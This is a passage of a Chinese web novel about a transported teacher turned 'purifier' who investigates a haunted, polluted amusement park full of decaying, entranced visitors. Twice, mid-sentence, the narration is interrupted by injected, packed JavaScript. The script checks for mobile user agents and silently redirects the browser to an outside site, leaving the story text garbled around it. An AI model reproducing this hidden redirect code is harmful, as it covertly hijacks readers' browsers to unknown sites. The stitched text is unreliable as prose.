“这是我的联系方式。”陆清晏放开她的手，对她微微一笑，“有事的话，可以直接联系我。” 余颂时连连点头——这可是特种小队队长啊，认识了陆清晏这个大腿，以后有什么危险她就不那么怕了，她顿时对陆清晏好感倍增，看向陆清晏的眼神也带着星星。 车突然停了下来。 陆清晏半起身，往外面看了一眼，对余颂时说：“好像到了。” 余颂时赶紧看了一眼表，还剩三分钟！ 完了，这下真的生死时速了！ 她急忙向陆清晏道别：“陆姐，我们下次再见，我得去报到了！” 说完之后，她像一阵旋风一样，火烧火燎地刮过陆清晏身边，冲下警车，看都不看冲进了第一收容所的大门，差点没把门口的保安掀翻。 “诶你，登记——”保安大叔的话还没说完，刚才一阵风跑过的人又哒哒哒地折返跑回来，大声地冲他吼。 “新人报到在哪！” 保安的脑子还没反应过来，话先脱口而出。 “直走第一栋楼一层右手边第一间！” 太好了！不远！ 还剩一分半。 余颂时使出了全力往第一栋楼跑去，一路经过了许多人，但她看都不看一眼，径直往一层右手边第一间冲刺。 她来到了一扇略微生锈的红门前，门上歪歪斜斜地贴着“临时报到处”的字条。 只剩40秒了。 余颂时推开门，里面只有个简单的桌子，桌子后面坐着一个打扮精致的二十出头的女人，正在眯着眼打盹，看到余颂时的时候，本来半眯着的眼睛突然睁大，震惊到失去表情管理。 从前台工作人员的视角来看，她本来在摸鱼，办公室的门突然被一个浑身是血的女人粗暴地打开，眼前这个血一样的女人一路狂奔到前台，血腥味直冲鼻端，她心神大骇，身形摇晃，血腥味和自己身上的香水味混杂，让她有些想吐。 这又是哪来的祖宗？ 余颂时面色红润，气喘吁吁，她把手环往桌上一拍，气壮山河地喊道：“报到！余颂时！012号净化者！麻烦快点小姐姐！” 20秒。 “哦……哦……好……” 10秒。 惊魂未定的前台工作人员颤抖着拿起她的手环，拿起旁边的某个仪器碰了一下，又在电脑上按了下回车键。 5秒。 “好，好了……”她立刻把沾了血的手环放到桌上，动作迅速，好像那手环上有什么致命病毒似的。 1秒。 “恭喜012号净化者，余颂时，您已经完成报到。” 【系统提示：您已完成报到任务，系统评价值+50，精神值+50，您接下来的任务是——】 太好了。我没迟到。 踩点上班果然是她最擅长的。 余颂时这么想着，松了口气，眼前却突然一黑，晕了过去。 5. 惊悚游乐园（一） 夜晚，109区，余颂时家。 余颂时算了下，从第一收容所乘坐电车回家只需要十分钟，但她家住得偏僻，从电车站走回家也要十几分钟，她花在通勤时间上满打满算也要二十几分钟。 还算合理。 要知道，现实世界她家离学校足足十几公里，每天要开四十分钟的车，后面搬到学校附近通勤时间才缩短了。 她今天一路坐电车回去，又观察了这个世界一番。 这个世界哪里都透露着衰败萧索，街道空无一人，楼房密密麻麻，却如鬼屋一般，风很大，穿过楼房之时发出摇摇欲坠的叫声。就连电车站的招牌也歪歪扭扭地挂在门口，上面涂了红油漆的字还没干透，红色颜料从字的边缘淌了下来，像鬼屋门口拿来装模作样吓人的血字。 电车站没有工作人员，都是机器识别，智能验票。偌大的电车站，只见一个机器人来来回回地巡逻，电子屏幕闪着红光。 她瞟了一眼，机器人的机身上镌刻着泛着银光的几个字“伊甸科技公司。” 这机器人还挺有意思，边做工作还会边自言自语，仔细一听是在不停重复一个词。 “干净。” 路过余颂时的时候，机器人机械地把电子屏幕转向了她，上面出现一个略显谄媚的颜文字笑脸。 “美女下午好啊。”机器人如是说道。 余颂时顿时起了一身的鸡皮疙瘩，只觉得这个机器人瞬间油腻了不少。 “电车即将进站，祝您旅途愉快。” 机器人维持着那个笑脸，慢吞吞地又挪走了。 嘶哑的电笛声突兀地在电车站响起，机械冰冷的播报声随后响彻了整个电车站。 “电车即将进站，请各位旅客做好准备。” 电车到站前的叮咚声音很清脆，好像风吹过檐下铃铛的声音，电车一路发出当啷当啷的声音驶入站台。 和这个世界其他灰败老旧的景象不同，电车非常崭新，外表是银白色的胶囊形状，里面的座椅和设备也都是一干二净，玻璃窗澄澈透明，窗外的晚霞染红了半边天际。 像是梦里的世界。 余颂时注意到电车的车身上也刻着几个银色的大字“伊甸科技公司”，旁边还附着一个标志，看起来是一条蛇攀上了十字架。 【系统知识储备更新至15%：伊甸科技公司。联邦目前最大的科技公司，主公司总部在主城，主研人工智能与电子意识的发展，旗下许多分公司，涉及医药，基因，生物等。伊甸科技公司目前的控股人为但丁，他研发了最先进的人工智能，并把它命名为方舟。】 就这么一条信息就让系统知识储备更新到了15%？ 看来这个伊甸科技公司很重要啊。余颂时的脑子里闪过这样的想法。 不过目前为止，她还没有任何有关伊甸科技公司的其它信息或线索，于是她暂且保存了这条信息，待日后查看。 电车停在了眼前。 夕阳斜斜地照了过来，伊甸科技公司几个字在夕阳余晖里熠熠发光，如同镀了层金边。 余颂时一路坐车一路朝窗外看去，她发现这个世界并不全是荒芜的，也存在很多茂密的植被，甚至那些植被的繁茂程度非同寻常，有的森林里的树异常得高，直耸入云端，仿佛要刺破天际。 她知道，这应该都是异变造成的。 这个世界的异变到底是什么原因引起的？ 余颂时就这样带着满腹的疑问回到了家。 她家住在109区的最南端一个拆迁危楼区里，这片区域的房子仿佛是为了把空间用到极致，所有的楼房只见都挨得很紧，只余一小点缝隙，低楼层阴暗潮湿，连阳光都晒不到。 据说这个世界的人把这种房子叫做鸽笼。 她住在八楼，正好是中间的楼层。 楼房有楼梯和电梯，楼梯嘎吱作响，电梯年久失修。无论选择哪种方式，都有一定的赌博成分。 在这个世界生活，像踩在钢丝上跳舞，随时随地都有粉身碎骨的危险。 晚上回到家，余颂时已是又累又饿又困，她来到厨房，拉开冰箱，发现里面只有几块快要过期的面包和一杯不知道放了多久的牛奶。 她犹豫了片刻，把面包和牛奶拿了出来，用微波炉解冻。 解冻完毕，她小心地啃了一口面包，硬的，啃起来像啃干枯的树皮，味同嚼蜡。 她再喝了一口牛奶，口感微酸，有点黏稠，尝起来像发酵了的酸奶，也不知道是不是坏了。 服了。 但她实在是太饿了，只好边安慰自己这应该没坏，边苦笑地咽下去。 我想吃麻辣烫烤鸡炸串牛肉面刀削面炸酱面炒饭…… 吃完了无滋无味的一餐之后，余颂时在心里发出无声的哀嚎。 她把餐具拿去洗了放进消毒柜里，又简单地洗漱了一下，换上了睡衣，躺在床上就不想动弹了。 正闭着眼睛休息，手环滴地一声响了起来。 【您有新的消息。】 屏幕在她眼前出现，新联系人里出现了姜桃的名字。 诶？她什么时候有了我的联系方式？ 余颂时点开一看，姜桃给她发了一个文件，是她的排班表。 姜桃：这是你的排班表，因为你今天精神值损耗过大，所以我请示上级，特地给你批了三天假，你三天后过来上班就行啦。 余颂时发了个谢谢过去，看了会儿又觉得语气有点生硬，于是又发了个玫瑰的表情包过去。加了一句话：特别感谢领导们的理解！ 社畜味满满。 姜桃也回了个小兔子的表情包，她又说道：你看下排班表，如果不合理的话随时和我说，我给你调新的！如果工作量太大，我会帮你向领导请示减少工作量的，放心。 余颂时感觉心里一股暖流涌过。 她之前在单位，没有人会对她说这句话，也没人会问她工作量大不大。 领导们好像都是理所应当地给她拼命加课，她带毕业班半学期，课从一周十节变成十二节变成十六节，但凡有空余的课时全给她加上了，甚至她一周还要看三个晚督修。 没有人提前问过她意见。 至于生病。 开什么玩笑。每天忙得人仰马翻，脚不沾地的，她连生病的权利都没有。轻伤不下火线，普通的流感发烧算什么，她曾经顶着40度，烧得快神智模糊的身体还要咬牙坚持在讲台上，因为那天半夜她发高烧，根本找不到可以代课的老师，而第二天还是公开周，教育局的领导下来巡查。 最后她是纯靠一口气吊着的，下课的时候，她觉得世界都出现了分裂的重影，差点一口气没喘上来，晕过去了。 她时常觉得自己不是人，是机器，二十四小时运转，和流水线似的。 这就是普通人的生活，没有金手指，不是爽文，纯靠命熬。 正出神，手环又响了一声。 姜桃又发来了新消息：对了，今天你晕倒的时候，我担心你后续问题，自作主张的加了你的好友，抱歉。 余颂时：没什么。我还要谢谢你呢。今天我那样子吓到你了吧，哈哈^_^ 姜桃发来一大段话：虽然是有点吓人，但是我更担心你，我以为你受伤很严重，吓坏我了。还好晏岭医生给你检查过了，说不要紧，只是体能消耗过度。听说你今天在路上遇到了3级污染物，还成功战胜了它！现在大家都在传你的英勇事迹呢！ 余颂时顿觉面上烧得厉害，她急忙输入信息：没什么！都是靠陆队长帮忙！ 姜桃：别谦虚啦！你可是大英雄！好啦，我不打扰你了，早点休息哦！ 余颂时回了个晚安的表情。 好消息：喜提三天假。 余颂时松了口气，又躺回了床上，打算就此咸鱼躺平，在床上躺过这三天。 她打开姜桃给她发的排班表，大致浏览了一遍。 排得非常合理。早上十点上班，上两小时到十二点，中午有个两小时的休息时间，下午两点上班，上到四点下班。 一周有一次轮值，需要晚上熬夜值班，不过很贴心的，第二天就没排早上的班。 排班表上还解释了她的职责：她管理两个班，每个班的污染者只有二十人左右，每天十点，她需要用精神检测仪器检测每个人的精神值并上报，监控污染者的精神污染值，防止异变。接着，她需要教一些基本常识，礼仪和语言给他们，帮助他们恢复正常后，可以融入人类社会。同时在岗期间，必须保证污染者不外出乱跑，下班之后，会有专门的人带领这些污染者回到宿舍或者回到家。 若污染者突然暴动且无法控制，她有权利选择当场击毙。 看起来不难。和她在现实世界的职责非常相似。只是感觉，她在这里的角色多了一层，像狱警。 这下真的是教书狱人了。 不过，教被克苏鲁生物感染过的污染者，这怎么听都是件危险无比的任务。 还是说，接受陆晏清的提议，加入她的小队，可是，陆晏清真的值得信任吗？ 她刚来这个废土世界，初来乍到，什么都不懂。她在现实世界生活单纯，也没有复杂的社会经验，她脑子直，心软且容易信任别人，看起来就是容易被诈骗的那一类人。 也许现实世界里，她的这种性格还算讨喜，也很容易吸引朋友。但显然，在这个人均八百个心眼子的废土世界，她这种小白兔性格没有点技能傍身，出去就要被虎视眈眈的虎豹吞了。 余颂时双腿盘起，窝在床上思考着自己的未来。 滴滴滴，又是系统的提示声。 眼前出现一则系统的提示。 【提示：您有新任务还未选择是否接收。十五秒钟后即将过时。请选择是否接受。】 什么时候的新任务！她怎么不知道！ 余颂时手忙脚乱地点开，上面赫然浮现两行大字。 【新支线任务：废弃游乐场之谜。任务奖励：系统评价值5000，精神值1000，随机掉落奖励。请选择是否接受，倒计时开始——】 10,9,8…… 余颂时的手指停在接受任务的按钮上空。 红色的字不断跳动着，冲击着她的视觉。 在倒计时变为1的时候，余颂时的手指突然不受控制地抽搐了一下，快速地点了接受。 【您已接受新支线任务。请在三天内完成调查并解决废弃游乐场污染源的任务。】 【具体详情已发至您的手环邮箱，请查看。】 【您目前的主线任务为：净化第一收容所。进度：1%；支线任务：调查并解决废弃游乐场污染源，进度：0%】 余颂时点开手环的邮箱，果然有一封来自【未知】的新邮件，她点开，一目十行地囫囵看完了任务介绍，她的额头顿时沁出一层薄汗。 她能不能撤回这个任务。 怪她这该死的手啊，看到倒计时就忍不住想狂点。 这都是在现实世界抢票抢限定产品抢出来的条件反射。 而且，她好不容易才休假三天，怎么这三天还要给她安排任务啊！ 新邮件里详细地描述了这个废弃游乐园的相关情况。 废弃游乐园原名叫星耀，位于109区北部，靠近109区最大的原始森林和山脉，占地面积有三千多平米，面积不大，算是中小型游乐园。在三年前，由于一次严重的污染事故被关闭。当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072723|163291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时即使特警和污染管理局即使赶到，但由于整个游乐园都被污染物所覆盖，所以最终游乐园还是被废弃了。 邮件附件还附上了一张游乐园的地图。 余颂时打开地图大致浏览了一遍，这个游乐园的构造很简单，一目了然，没有什么特别之处。 游乐园的被山所环绕，依山而建，游乐园中心还挖了一口人工湖，推测应该是做水上游乐园的，不过似乎没有完工，不知道是不是因为被污染事件中断了。 她看完了邮件，把地图存进导航里，又打开手环搜索星耀游乐园污染事故。 据邮件里提到的，星耀游乐园污染事故应当是非常轰动的污染事故，应该可以在网络上搜索到许多相关信息。 余颂时输入星耀游乐园一搜，很快就有了许多结果。 排在第一条的是AI自动生成的词条。 星耀游乐园精神污染事件：2197年5月21日晚上十点，接到报警，星耀游乐园出现严重精神污染事故，特警与污染管理局赶到现场进行疏散和清理，经长达三小时的搜寻与清理，共救出游客32980名，1800名游客失踪，23009人感染，死亡人数不详。 清理过后星耀游乐园污染等级为四级，除特警和污染管理局，其余人不得进入。 她略微看了一遍，把这个网页的详细信息保存进自己的手环里。 她往下滑了滑，某个app里的帖子映入眼帘。 她点进去一看，帖子的标题起得非常耸人听闻：星耀游乐园真的很诡异啊，半夜经常能听见一些奇怪的声音……有没有住在附近的人说一说是不是这样…… 大数据算法很快就推给了住在附近的人，帖子下面都是纷纷附和的声音，甚至越说越离奇。 【贴主：我就住在星耀附近，我的房子离游乐园就几百米，那天晚上我刚要睡觉，就听见一阵很欢快的声音，我以为是邻居又抽风在放什么音乐，正准备出门去叫邻居小声点，结果推开窗发现，那游乐园居然亮灯了！就是旋转木马那边！我还看见了木马在转！】 【匿名：太诡异了。】 【闲鱼：是不是编故事你们……】 【粉红小猪：同意楼主啊啊啊。我也住在星耀附近！我是租的公寓，打开门就可以看见那个游乐园。我一般进去就觉得浑身不舒服，每天晚上做梦都能梦见一个没有头的小孩，那小孩手里拿着气球，一直在幽幽地问我ta爸妈去哪里了……】 【转基因西瓜：太可怕了，听着就毛骨悚然。】 【三晴：后来呢？】 【粉红小猪：后来我就搬走了，实在受不了了。而且怪事不止这些，楼主说的旋转木马我也看见过！半夜我会经常被一阵音乐吵醒，我觉得那音乐很熟悉，但想不起来是什么。我从窗台上往远处看，也能看见那游乐场莫名其妙亮灯了。】 【三晴：你们都没拍照吗？】 【贴主回复三晴：拍了，我稍后就发。】 余颂时点开贴主的主页，发现在昨晚凌晨贴主刚发布了一个新帖子，是一个视频。 她点进去，刚开始视频一片漆黑，什么也看不见，在一片黑暗中，传来一阵幽幽的音乐声，音乐声似乎从远处传来，但又如同附在耳边轻语，余颂时听了一会，猛然发现，这听起来很像致爱丽丝的高潮部分！之所以说很像，是因为虽然音乐节奏很像，但视频里传来的音乐经过处理，音调非常怪异，沙哑又高亢，还不时地出现几个颤音，像黑夜里传来的安魂曲，听起来令人产生强烈的不适。 音乐声戛然而止，视频里镜头晃动了几下，出现了一丝光亮。 不知道视频是在什么情况下录的，窸窸窣窣的杂音非常多，还夹杂着拍摄者沉重的喘息声。 接着，视频就突然亮了起来，远处黑暗的群山如静默的巨兽，在群山之间，游乐园依次亮灯，空荡无人的游乐园，所有的游乐设施像突然被人按下了开关，开始自动地运行了起来。 视频也不知道用什么拍的，非常模糊，看起来像座机画质，连游乐设施有什么都看不清。 拍摄者似乎异常激动，颤抖着声音喊道：你看！你看——！我说得没错吧！它在转！它在转呀！里面还有人，里面还有人！ 余颂时皱起了眉头，总觉得哪里不对劲。 突然，视频像被人掐断了信号的电视一样，黑屏了，然而这并没有结束。 仅仅黑了几秒钟之后，画质变得清晰起来。 画面中出现了一个人，他穿着小丑的服装，装扮得也像小丑，浑身花花绿绿的，可最让人汗毛倒竖的是他的妆容——他的嘴被人用刀剪成了一个大大的微笑弧度，露出里面赤裸着带着血的牙齿，形成一个鲜血淋漓的微笑，他的双眼只剩下了眼白，脸上到处都是凝固的鲜血，但依然在竭力保持微笑。 “欢迎来到我的游乐园——”是一个年轻男性的声音。 “我要去到我的游乐园啦！”这次却是一个小孩的声音，幼稚而欢乐。 啪一声，是什么重物坠落的声音。 视频到此结束。 余颂时看完视频之后，足足沉默了三十秒钟。单是看完这个视频，她就觉得自己的精神值下降了不少。 她在想，自己非要接这个任务不可吗？ 就没有—— 滴滴滴，系统提示音再次响起。 【检测到任务难度变化，此次任务完成额外奖励20000星元。】 多少？！ 余颂时的眼睛瞬间亮了起来，马上从床上弹射起来，整个人神采奕奕，和刚才颓废的样子判若两人。 谁说这任务不好的！这任务来得正及时！ 什么都不能让她加班，除了给钱。 7. 惊悚游乐园（三） 比起面前这个中年男人的血肉正在逐渐融化，掉块，更惊悚的是，旁边与他交谈的人毫无察觉，甚至还在愉快地和他聊天。 这个场景简直令人毛骨悚然，san值狂掉。 “小李，女儿还没有消息吗？我看那边寻人启事又更新了。”林伟突然问道。 在旁边神智已经恍惚的余颂时像被针刺了一下，立刻清醒了几分，她有强烈的预感，接下来的对话有她此次任务的关键线索。 “没有嘞。”李钦摇了摇头，“你呢？” “我也没找到小娟。”林伟叹了口气。 两人的对话陷入沉默。 “哎……都一年了。不过你那寻人启事下次还是贴别的地方去吧，主管看到了又该说了。”林伟再次开口。 “好。”李钦嗫嚅着说。 “你放心，女儿一定能找到的！政府不都保证了吗！”林伟拍了拍他的肩膀，安慰道。 一提起女儿，李钦原先有些疲惫的神色顿时有了神采。 他脸上浮起奇异的神色，那双蒙着灰翳的眼睛此刻焕发着熠熠光辉，然而与他的精神状态相反的是，他整个人像被烤化了的泥人，血混着肉如泥沙往下滚落，有些地方露出白骨，如退潮后海浪下裸露的岩石。 他把手放在胸前，做了个类似祷告的动作，口中念着什么。 他的双手只裹着一层薄薄的皮，皮肤下的骨节清晰可见。 余颂时努力地想挪开眼神，但她的眼睛此时就像被吸引的磁铁似的，牢牢地被吸附在上面。 她听见李钦和林伟同时祷告的声音。 余颂时只觉得自己的脑子像有无数根针在脑浆里搅动，翻滚，痛楚和恶心感一同涌了上来，连眼前的视线都变得模糊颤抖起来。 【警告，您的精神值正在下降。】 再这样下去不行！ 她用力咬住下唇，拼尽全力让自己保持一丝清醒，她看着眼前的两人，急忙喊道：“你们——你们女儿在哪里！” 从刚才可以看出，女儿应该是他们很重要的人，是他们的精神锚点，这个时候让他们想起女儿，说不定可以让他们清醒过来。 祷告声停止了。 李钦停了下来，他的眼神从迷茫渐渐聚焦，最后落在了余颂时的身上。 “我……女儿？”李钦眨了眨眼，眼皮撕裂出无数细小的蛛纹似的伤口，血从伤口渗了出来，一滴血泪从眼眶上落了下来。 眼看这招奏效了，余颂时忍住脑子里钻心的剧痛，趁热打铁，“对，你们，你们的女儿……去哪了？” “女儿，我的女儿，李慧！”李钦的眼睛突然瞪大了，他的眼眶此刻只剩下一个骨架，眼睛像是镶嵌在眼窝里，一瞪眼，眼珠猛地凸了出来，摇摇欲坠地挂在眼眶边缘。 “李慧，你有看见李慧在哪里吗！”李钦看向眼前的林伟，急切地问。 李慧——这个名字触动到了余颂时的回忆。 她想到，刚才在门口公告栏上看见的那个失踪女孩的名字，不是就叫李慧吗？ 林伟有些被他吓到：“老李，你清醒点，你不是一直在找女儿吗！” “游乐园，对……游乐园……”李钦迟钝地点了点头，颠三倒四地重复着逻辑混乱的词，“李慧就是在这里丢的……我忘记了，我要去……去看表演……看表演……” “不然要来不及了……” 李钦弯着腰，缓缓地往保安室走去，他本来就矮小的身材显得越发佝偻。 余颂时悄悄掀开了衣服下摆，摸到了夹在裤子边缘的小型清洁枪。 她在犹豫要不要开枪。 从进入这个游乐园开始，发生的一切都让她预料不到，此时她若是贸然开枪，也许可以解决李钦和林伟，但如果惊动了潜藏在暗处的某个更庞大的力量，怕不是得不偿失？ “老李就是太爱他的女儿。” 耳边突然传来林伟的声音，余颂时急忙放下衣衫下摆，若无其事地看向旁边的林伟。 “啊，是吗？”余颂时自然地笑了笑，“父亲爱自己的女儿，也很正常吧？” “是啊。她女儿也不是她亲生的，是她收养的。”林伟叹了口气，“李慧从小身体就不好，先天残疾，缺了一只腿，他每年花在医药费和复建上的钱就已经是天价了，所以他没法供养李慧去上学。有天，政府那边来了人，说有个慈善帮扶项目，专门给我们这种E等公民的，提供房和工作，这不是天大的好事，他就带着女儿过来了。” 天上掉馅饼？有这么好的事？ 余颂时不露声色地听着，点了点头，接话道：“那确实是好事。是什么帮扶项目啊？这么好？” 林伟皱起了眉头，似乎在努力思考，过了一会儿，他摇了摇头，“忘记了。” “后来，经过教会介绍，李慧和我的女儿都加入了舞蹈团，她们经常在游乐园排练，有天，我们带女儿过来游乐园玩，结果就不见了。” 余颂时敏感地捕捉到教会，舞蹈团的关键词。 她往林伟那瞟了一眼，看见林伟的手背上隐约透着纹身，但因为被袖子遮了大半，她看不出那是什么图案。 “她们不见多久了？”余颂时装作不经意地闲聊道。 “有一年了吧。”林伟笑了笑，有些无奈，“老李着急得不行，他本来的工作是西河小区那边的保安，为了能找到女儿，特意调到了游乐园的保安亭这里。” 余颂时沉默不语，只觉得心里像被塞了块石头，沉重无比。 她还欲开口问些什么的时候，游乐园突兀地响起致爱丽丝的钢琴曲。 游乐园的音响显然有些年久失修，播放的音乐带着刺耳的杂音，断断续续，时不时出现几声扭曲的电流声，尾调听起来像被扼住喉咙的尖叫声，令人头皮发麻。 “要开始了。”身边的林伟喃喃地说道，他眼睛发直，愣愣地盯着门口。 余颂时顺着他的眼神往旁边看去，顿时毛骨悚然。 不知哪来的游客从游乐园的四面八方潮水般涌来，而保安李钦就站在门口，微笑着向每个路过的游客打招呼。 每个游客的表情都出奇地一致，脸上带着异于寻常的狂热和虔诚，眼神发光，嘴角保持着小弧度的微笑，直直地朝着某个方向走去。 就和……身边的林伟一样。 余颂时后退了一步，觉得眼前的场景，颇有点像丧尸电影里的丧尸入侵潮。 只是这些丧尸暂时没有攻击性，只是像被什么引诱了一样，如扑火的飞蛾，纷纷地往一个方向走。 “快走，快走，来不及了。” 耳边传来焦急的声音，余颂时一回头，见到李钦也夹杂在人潮中，他身上的肉块掉得越来越快，白骨已经清晰可见，瘦弱矮小的身材被拥挤不堪的人群挤得摇摇晃晃的，好几次差点倒地，他挣扎着踉跄地再趴了起来，努力地跟上人群，两只凸出的眼珠已经坠在眼眶之外，他用手把眼珠子推了回去，眼珠一动不动地锁着远方，眼神里透着热切如火焰般的渴望。 “女儿，女儿……”他的嘴巴轻轻瓮动，发出模糊不清的呢喃。 【警告：您的精神值已下降3%】 余颂时抹了把脸，又狠狠扇了自己一巴掌，靠那瞬间的痛楚强迫自己清醒过来。 人潮往那儿拥挤，一定是那里有什么东西吸引着他们。 不管怎么样， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072725|163291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都得追上去追寻原因。 她在来之前通过入职培训信息和上网搜索学习了不少污染物的知识，要彻底解决污染物，就要找出它的污染核心，污染核心通常非常隐蔽，找到它需要费一番功夫。 一般是攻袭者小队率先打头阵，通过各种复杂设备分析辅助以及不断攻击污染物，让它暴露出自己的污染核心，再由净化者出马，用清洁枪打中它的污染核心，完成净化再猎杀。 虽然听起来很简单，但实际操作起来很复杂，而且因为攻袭者不如净化者精神值高，这样的流程简直是靠损耗攻袭者来找到污染核心。 她看着远去的人潮，咬了咬牙，迅速跟了上去。 人潮因为多且密，所以走路速度很慢，与其说是走，不如说是拖着身体慢慢往前挪动。 余颂时挤在人群里，她观察着周围的游客，发现这些游客的脸和身体虽然都有不同程度的腐化，但总体来说都没有李钦腐化得厉害。 李钦应该是触碰到了污染核心或者做了其他的事才会腐化得这么厉害。 余颂时打开手环，打开星耀游乐园的立体地图认真查看，发现人流所涌向的地方是亲子游乐区，主要有惊奇屋，旋转木马和古堡探险。 她打开具体游乐项目介绍，快速阅读了起来。 旋转木马之类的她再熟悉不过了，是每个游乐园都必备的项目之一，基本每个小孩都难以抵御它的魅力，旋转木马附近还设有飞盘，海盗船之类的游乐项目，都没什么好注意的，余颂时很快就划了过去。 她比较好奇的是惊奇屋和密室探险这两个地方。 据地图介绍，惊奇屋是星耀游乐园近几年刚开发的新游乐项目，采取了VR，4D，神经接入等身临其境的技术，构造类似博物馆，可以坐小火车，也可以步行进入。游客们可以近距离观看一些现实生活中看不到的奇异动植物，项目最后游客们会聚在小剧场里，观看星耀游乐园精心编排的惊奇舞蹈团和马戏团节目。 余颂时看完之后，大致总结了一下，类似于鬼屋和马戏团的结合，看介绍还挺有意思的，小孩子应该都喜欢看这些。 而古堡探险更像是惊奇屋的衍生项目，它就位于惊奇屋的旁边，按照导航手册上写的，游客们从惊奇屋里欣赏完节目之后，会有工作人员前来指引他们前去古堡探险，古堡探险用仿真技术还原中世纪的神秘古堡，还会有NPC前来互动。 这个就是真鬼屋了。 导航手册上还贴心地在旁边标注着：亲亲，推荐惊奇屋和古堡探险连玩，亲子互动温馨游乐园之旅~ 余颂时看完评价道，两个鬼屋连玩，连环吓人，这不是亲子温馨之旅，这是亲子被吓之旅。 她摇了摇头，关掉了手环，远远看到李钦佝偻着身体往前挪动。 不知道是不是她的错觉，李钦的背越来越弯了，几乎要埋没在黑压压的人群里了。 余颂时正准备跟上去的时候，余光却瞥到街边的角落里有某个人影一闪而过。 她顿住脚步，透过拥挤人潮的缝隙里往街角看去。 在街角的公告栏旁边，站着一个穿着白色外套的女人，一头瀑布似的柔顺黑发整齐地梳在后脑勺，扎成个丸子头，女人非常年轻，眉眼秀丽，正拿起手环拍着什么。 余颂时直觉这个女人不一样。 女人远远地站在人潮边缘，并没有加入他们，而是揣着手，冷眼旁观，形状漂亮的瑞凤眼里闪烁着近乎冷漠的光。 仿佛眼前这离谱荒谬的一切她早已熟视无睹。 女人察觉到余颂时在看着她，琉璃似的眼珠转了转，往她这儿看来。 两人隔着不断行进的人潮相望。 8. 惊悚游乐园（四） 世界仿佛静止了。 人潮如鸟群般掠过，黑潮慢慢褪色，世界又重新回到了原本的颜色，时间再次流动起来。 女人盯了她几秒，朝她走了过来。 她身后游乐园的霓虹街灯还在不停闪烁，像无数只眼睛，缓慢地眨了一下。 余颂时并没有挪开脚步，她在等她。 “你好。”女人在离她半米处停了下来，冲她递了个友好的微笑，伸出了手，“我叫杜瑾。” 余颂时没有立刻与她握手，只是点了点头，简单地说道：“我叫余颂时。” 杜瑾并没有介意，只是自如地收回了手，她从口袋里拿出证件，冲她晃了晃：“你好。我是个调查记者。” 余颂时看了看证件，上面写着：杜瑾，25岁，每日新闻周刊调查记者。 “你好，我是771基地的……先遣调查员。”余颂时扯了个谎，隐瞒了自己的真实身份。 771基地是陆晏清所在的基地部队，正好可以借来挡挡枪。 “调查员？！”杜瑾睁大了眼睛，本来平静无波的表情瞬间变得激动，“他们终于看到我的报告了吗！” 报告？什么报告？余颂时微微皱眉，她选择委婉地规避这个问题。 “我也不清楚。我只是奉长官之命来这里，做一个调查，作为他们行动的依据。” 杜瑾摆摆手：“没事没事，我就知道，你们肯定会来的！” “你说报告？你在这里待了几天了？”余颂时敏感地捕捉到关键词，问道。 “我……是昨天傍晚来的。”杜瑾回想了一下，“大概七点左右吧。” 说完之后，她又非常自来熟地自荐当余颂时的导游。 “跟我来。”她拍了拍余颂时的肩，冲她眨了眨眼。 余颂时有些奇怪，她这么轻易就信了吗？也不查一查我的身份什么的。 这么好骗啊。 自从知道余颂时是先遣调查员的时候，杜瑾就卸下了防备，在旁边和她絮絮叨叨地说着她的报告。 “报社并不同意我这次的行程，我对boss说出差，然后偷偷来的这。”杜瑾边走边说，“你也看到了吧？那些帖子？” 余颂时点了点头。 “我也是看到那些帖子才决定过来调查的。”杜瑾继续说，“我昨天来到这的时候，游乐园没有人，我在这里逛了一圈，拍了几张照片和视频，一无所获，就回到了门口准备走，结果就看到了他们。” 她抬起手指了指前面的“丧尸潮”。 “第一次看到可给我吓坏了。”杜瑾捂住心口，一副心有余悸的样子，“他们刚开始和普通的游客没什么区别，我还和其中几个人聊了一会，记录了一些信息，结果突然间，那个人的脸上就开始掉下肉来。” “太可怕了，太可怕了。”杜瑾长呼一口气，“还好那些人好像也没什么危险性，他们就是一直在往那边走，我跟着他们过去，就看见他们往惊奇屋那里去了。” 余颂时问：“那边有什么？” “惊奇屋吗？有个表演，没什么稀奇的，就是一堆人在跳舞，我还拍了很多照片，给你看看。” 杜瑾说着就拿出了自己的手环，余颂时打开传送，杜瑾轻轻碰了一下余颂时的手环，就把照片都传过来了。 余颂时打开照片，一张一张开始看了起来。 杜瑾手环拍的照片是三维立体照片，余颂时戴上外设眼镜，可以身临其境。 前几张照片都是杜瑾刚进来拍的，那时候太阳还没下山，夕阳半挂在远处的西山上，整个游乐园都笼罩在夕阳橘红色的余晖里，像是上了一层滤镜。 寂静无人的游乐园街头，没有一个人，静静停止的游乐设施，贴满寻人启事的公告栏，还有空无一人的保安室。 余颂时停了下来，指着照片里的保安室说：“你来的时候，保安室里没人吗？” 杜瑾皱眉想了想，摇了摇头：“没看见人。” 余颂时没说什么，继续往下划。 接下来就是杜瑾拍的人潮，余颂时仔细地观察着混杂在人群中的每一个人，没有李钦。 另外，她发现这些游客的腐化程度相较于今天轻了很多，从外表来看，他们就像是正常的游客，没有任何的异常之处。 难道一天的时间就能让困于游乐园里的人污染加重这么多吗？ 她暂且搁下疑问，又往下查看照片。 下一张照片的角度是俯拍，可以把游乐园大部分的游乐设施收入眼底。余颂时的目光逡巡了一会，停在正中间的旋转木马上。 